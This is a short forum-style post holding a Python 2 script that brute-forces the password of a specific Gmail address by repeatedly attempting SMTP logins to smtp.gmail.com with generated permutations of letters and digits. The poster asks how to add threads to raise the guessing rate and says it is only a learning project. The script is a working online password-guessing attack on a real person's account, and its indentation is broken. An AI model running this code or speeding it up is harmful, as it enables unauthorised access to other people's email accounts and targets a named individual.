I spent a lot of time making this brute-force hacking program for gmail:
import smtplib
from itertools import permutations
import string
import time
import os
from datetime import datetime
allC=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
num=1
allP=len(allC)**num
sumt=0
procent=0
while True:
for i in permutations(allC, num):
try :
i="".join(i)
server = smtplib.SMTP('smtp.gmail.com',587)
server.ehlo()
server.starttls()
server.ehlo()
server.login('raslav.milutinovic@gmail.com',i)
print str(datetime.now())
print i
break
server.close()
except Exception,e:
if 'Errno 11001' in e:
input()
pass
sumt=sumt+1.00001
procent=sumt/allP*100
print "Level :",num
print "Procent :",int(procent)
num=num+1
procent=0
sumt=0
allP=len(allC)**num
note: Indents might not be correct But it is very slow=5000 tries per hour
How can i use threads to test more then just one et the time? And also i am not going to use this for evil.... Just a simple learning project